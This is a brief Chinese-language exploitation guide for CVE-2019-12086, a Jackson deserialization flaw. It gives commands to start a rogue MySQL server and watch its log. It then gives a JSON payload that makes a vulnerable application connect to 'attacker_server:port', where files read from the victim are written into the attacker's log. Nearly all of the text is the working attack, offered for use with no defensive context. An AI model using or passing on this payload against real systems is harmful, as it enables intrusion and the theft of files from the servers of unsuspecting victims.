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CVE-2019-12086 jackson unserialize

漏洞利用

1、启动恶意MySQL服务器:

python rogue_mysql_server.py

2、在同一个目录下查看mysql.log:

tail -f mysql.log

3、向存在漏洞的应用发送如下json:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

当jackson反序列化恶意json串后,会连接恶意MySQL服务器,被读取的文件内容会写入恶意服务器的mysql.log

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